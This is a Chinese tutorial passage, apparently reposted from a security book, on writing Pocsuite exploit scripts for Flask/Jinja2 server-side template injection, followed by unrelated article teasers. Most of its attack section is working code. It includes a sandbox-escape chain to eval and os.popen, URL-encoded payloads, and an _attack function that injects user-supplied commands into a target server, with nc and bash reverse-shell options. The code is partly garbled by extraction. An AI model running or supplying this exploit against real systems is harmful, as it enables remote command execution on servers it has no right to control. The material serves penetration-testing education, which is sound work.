EXP脚本编写

 

 

EXP脚本的编写与POC脚本编写一样,只需要修改_attack部分,替换成漏洞  利用的脚本即可。要利用Flask漏洞,需要用到Python的特性。关于如何在Jinja2模 板中执行Python代码,官方给出的方法是在模板环境中注册函数就可以进行调

用。

Jinja2模板访问Python的内置变量并调用时,需要用到Python沙盒逃逸方法, 具体参数如下所示。

·__bases__ :以元组返回一个类所直接继承的类。

·__mro__ :以元组返回继承关系链。

·__class__ :返回对象所属的类。

·__globals__ :以dict返回函数所在模块命名空间中的所有变量。

·__subclasses__() :以列表返回类的子类。

·_builtins_ :内建函数。

Python中可以直接运行一些函数,如int() 、list() 等,这些函数可以在  __builtins__ 中查到。查看的方法是dir(__builtins__ )。利用Python的特性,渗透 测试的思路是利用_builtins_ 的特性得到eval ,如下所示:

 

for c in () .__class   .   base__[0] .__subclass__() :

if c .__name__== '_IterationGuard ' :

c .__init   .   globals__[ '__builtins__ '][ 'eval ']("__import__( 'os ') .system ( 'whoami ')")

再将其转为Jinja2语法格式。Jinja2的语法与Python语法相似,但在每个语句 的开始和结束处需要使用{{%%}}括起来,转化后的代码如下所示:

 

{%%20for%20c%20in%20[] .__class   .   base   .   subclass__()%20%}%20{% ' \

'%20if%20c .__name__==%27_IterationGuard%27%20%}%20{{%20c .__init   .   globals__[%27__ builtins__%27] ' \

'[%27eval%27]("__import__(%27os%27) .popen(%27whoami%27 .read()")%20%%}%20{%%20end- if%20%}%20{% ' \

'%20endfor%20%}

最后将此EXP写到_attack方法中,便完成了EXP的编写,如下所示:

 

 

 

 

 

 

 

def __attack(self) :

' ' 'attack mode ' ' '

result = {}

path = "/?name="

url = self.url + path

payload = '{%%20for%20c%20in%20[] .__class   .   base   .   subclass__()%20 %}%20{% ' \

'%20if%20c .__name__==%27_IterationGuard%27%20%}%20{{%20c .__init   .   globals__[%27__ builtins__%27] ' \

'[%27eval%27]("__import__(%27os%27) .popen(%27whoami%27 .read()")%20%%}%20{%%20end-

if%20%}%20{% ' \

'%20endfor%20%} '

try:

resq = requests .get(url + payload)

if resq and resq .status_code == 200 and "www" in resq .text :

result[ 'VerifyInfo '] = {}

result[ 'VerifyInfo '][ 'URL '] = url

result[ 'VerifyInfo '][ 'Name '] = payload

except Exception,e:

pass

return self.parse_output(result)

如此便完成了Pocsuite的POC和EXP编写,程序运行结果如图3-4所示。

33ef49c0c5fa4e9e831c81d29afbc6c9.png

图3-4    Pocsuite利用脚本

利用Pocsuite 3开源框架,可以接收用户输入的命令行参数,对目标系统进行 半交互控制,具体实现过程如下所示。

首先,根据官方文档说明,编写一个接收自定义命令的函数,将接收到的命 令赋值给command参数。

 

 

 

 

 

def _options(self) :

o = OrderedDic t()

payload = {

"nc" : REVERSE_PAYLOAD .NC,

"bash" : REVERSE_PAYLOAD .BASH,

}

o["command"] = OptDic t(selected="bash", default=payload)

return o

接下来,创造一个cmd变量,用于接收用户输入的command命令参数,并嵌  入payload字符串中。将写好的payload与url地址拼接,并通过request函数发送到目 标系统,这样就能够在目标系统中执行命令了。最后,将命令执行结果输出。代 码如下所示:

 

def _attack(self) :

result = {}

path = "?name="

url = self.url + path

#print(url)

cmd = self.get_option("command")

payload = '%7B%25%20for%20c%20in%20%5B%5D .__class   .   base   .   

subclasses__() '\

'%20%25%7D%0A%7B%25%20if%20c .__name__%20%3D%3D%20%27catch_warnings% 27%20%25%7D%0A%20%20%7B%25%20 '\

'for%20b%20in%20c .__init   .   globals__ .values()%20%25%7D%0A%20%20%7B %25%20if%20b.__class__ '\

'%20%3D%3D%20%7B%7D .__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20 %27eval%27%20in%20b.keys() '\

'%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__ ("os") .popen(" '+cmd+ '") .read()%27) '\

'%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif %20%25%7D%0A%20%20%7B%25%20endfor '\

'%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D ' try:

resq = requests .get(url + payload)

t = resq .text

t = t.replace( '\n ', ' ') .replace( '\r ', ' ')

print(t)

t = t.replace(" ","")

result[ 'VerifyInfo '] = {}

result[ 'VerifyInfo '][ 'URL '] = url

result[ 'VerifyInfo '][ 'Name '] = t

except Exception as e:

return

执行命令pocsuite-r 1.py-uhttp://x.x.x.x:8000/--attack--command'id' ,最终效果如 图3-5所示。

 

 

 

 

 

22d356ed110a468a873dbf89701cd752.png

图3-5    执行EXP攻击

Flask漏洞主要利用了框架的特点,在Flask中,“ {{}}” 中的内容会被当作代码 执行,相应的防御中就需要对“ {{}}”进行过滤,禁止此符号传入参数中。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/651395.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java servlet运输公司管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 java Web运输公司管理系统是一套完善的java web信息管理系统 serlvetdaobean mvc 模式开发 ,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主 要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5…

Multi-label classification复现

摘要 存在 theoretical results show that SA and HL are conflicting measures 1 介绍 an algorithm usually performs well on some measures while poorly on others.There are a few works studying the behavior of various measures.Although they provide valuable i…

【网站项目】基于SSM的246品牌手机销售信息系统

🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件,帮助大学选题。赠送开题报告模板&#xff…

cmake工具的安装

1、简介 CMake 是一个开源的、跨平台的自动化建构系统。它用配置文件控制编译过程的方式和Unix的make相似,只是CMake并不依赖特定的编译器。CMake并不直接建构出最终的软件,而是产生标准的建构文件(如 Unix 的 Makefile 或 Windows Visual C …

使用Apache POI 创建和读取excel表

目录 1. Apache POI 中文使用手册 1.1 Apache POI 项目介绍 1.2 处理组件 1.2.1 Excel 文件处理组件 1.2.2 Word 文件处理组件 1.2.3 PPT 文件处理组件 1.2.4 文档属性组件 1.2.5 Visio 文件处理组件 1.2.6 Microsoft Publisher 98(-2007)文件处…

mac配置L2TP连接公司内网

1. 打开系统设置 2. 打开网络 3. 点击网络页面其他服务右下角三个点,添加VPN配置中的L2TP 4. 配置VPN,服务器填写公司的服务器ip,共享密钥没有可以随便填写 5. 打开终端编辑文件 sudo vim /etc/ppp/opt…

机电制造ERP软件有哪些品牌?哪家的机电制造ERP系统比较好

机电制造过程比较复杂,涵盖零配件、采购、图纸设计、工艺派工、生产计划、物料需求计划、委外加工等诸多环节。而供应链涉及供应商的选择、材料采购价格波动分析、材料交货、品质检验等过程,其中某个环节出现问题都可能会影响产品交期和经营效益。 近些…

概念抽取:构建认知基础的关键步骤

目录 前言1 概念抽取任务定义1.1 概念知识图谱的关系定义1.2 实体与概念的紧密关联1.3 多样的概念关系 2 概念在认知中的重要角色2.1 语言理解的基础2.2 上下位关系的深化理解 3 概念抽取方法3.1 基于模板的抽取3.2 基于百科的抽取3.3 基于机器学习的方法 4 应用4.1 自然语言理…

【论文笔记】GPT,GPT-2,GPT-3

参考:GPT,GPT-2,GPT-3【论文精读】 GPT Transformer的解码器,仅已知"过去",推导"未来" 论文地址:Improving Language Understanding by Generative Pre-Training 半监督学习&#xff1…

HPE ProLiant MicroServer Gen8更新固件

前几天因为没有shutdown OMV NAS便关了电源,导致其中一个硬盘损坏(用DG检查有9个坏区),从而整个硬盘数据都没法读取,于是想着装个windows server会不会更好点,至少对windows熟悉点,硬盘扫描恢复…

代码随想录算法刷题训练营day16

代码随想录算法刷题训练营day16:LeetCode(104)二叉树的最大深度 、LeetCode(559)n叉树的最大深度、LeetCode(111)二叉树的最小深度、LeetCode(222)完全二叉树的节点个数 LeetCode(104)二叉树的最大深度 题目 代码 /*** Definition for a binary tree node.* publ…

Linux常见指令汇总

目录 pwd√ ls√ cd√ 对文件的理解√ which√ alias√ touch√ linux系统目录结构√ mkdir / tree √ rmdir / rm √ man√ nano√ cp√ mv√ cat√ echo√ linux设计理念和三种重定向总结√ more/less√ head/tail√ wc√ uniq√ date / cal√ find√…

PHP伪协议使用姿势

php支持的伪协议 1 file:// — 访问本地文件系统 2 http:// — 访问 HTTP(s) 网址 3 ftp:// — 访问 FTP(s) URLs 4 php:// — 访问各个输入/输出流(I/O streams) 5 zlib:// — 压缩流 6 data:// — 数据(RFC 2397) 7 glob:// —…

我的软件测试内卷之路

🍅 视频学习:文末有免费的配套视频可观看 🍅 点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快 现在的大环境下,各行各业都开始内卷起来,测试也不例外,企业要…

分布式数据实现跨设备数据同步的N个秘密 | 分布式数据管理解析(二)

上期我们给大家带来分布式数据管理如何完成数据存储,数据同步,数据跨端访问,并保证整个过程中跨设备数据安全的解读。 这都得益于分布式数据管理平台抽象出的三大关键技术——分布式数据库,分布式文件系统和融合搜索。 那么这三…

IS-IS:10 ISIS路由渗透

ISIS的非骨干区域,无明细路由,容易导致次优路径问题。可以引入明细路由。 在IS-IS 网络中,所有的 level-2 和 level-1-2 路由器构成了一个连续的骨干区域。 level-1区域必须且只能与骨干区域相连,不同 level-1 区域之间不能直接…

ACDSee 2024旗舰版 下载安装汉化教程,ACDSee 最新版,附安装包和工具,全网最简单,轻松搞的安装,无套路

前言 ACDSee是一款数字资产管理、图片管理编辑工具软件,提供良好的操作界面,简单人性化的操作方式,优质的快速图形解码方式,支持丰富的RAW格式,强大的图形文件管理功能等。 准备工作 1、提前准备好 ACDSee 2024 安装…

第20届纪念款-牛客周赛 Round 20 B.C简单构造

B 答案要么是0 要么是1 所以你全部填0或者要么填1然后算就好了 #include<bits/stdc.h> using namespace std; using ll long long; const int N 1e510; int n;void solve() {//全0 全1&#xff1f;string str;cin>>str;n str.size();string str1 str;int ans…

阿蒂亚(M.F.Atiyah)与黎曼猜想

&#xff08;注意&#xff1a;黑板上写的数不止20位数&#xff09; 德国柏林时间2018年9月24日上午9点45分&#xff0c;菲尔兹奖与阿贝尔奖双料得主、英国皇家学会院士迈克尔阿蒂亚爵士在德国海德堡举行的海德堡奖诺贝尔奖获得者论坛上&#xff0c;讲述了他对黎曼猜想的证明。…

设计模式⑩ :用类来实现

文章目录 一、前言二、Command 模式1. 介绍2.应用3. 总结 三、Interpreter 模式1. 介绍2. 应用3. 总结 参考文章 一、前言 有时候不想动脑子&#xff0c;就懒得看源码又不像浪费时间所以会看看书&#xff0c;但是又记不住&#xff0c;所以决定开始写"抄书"系列。本系…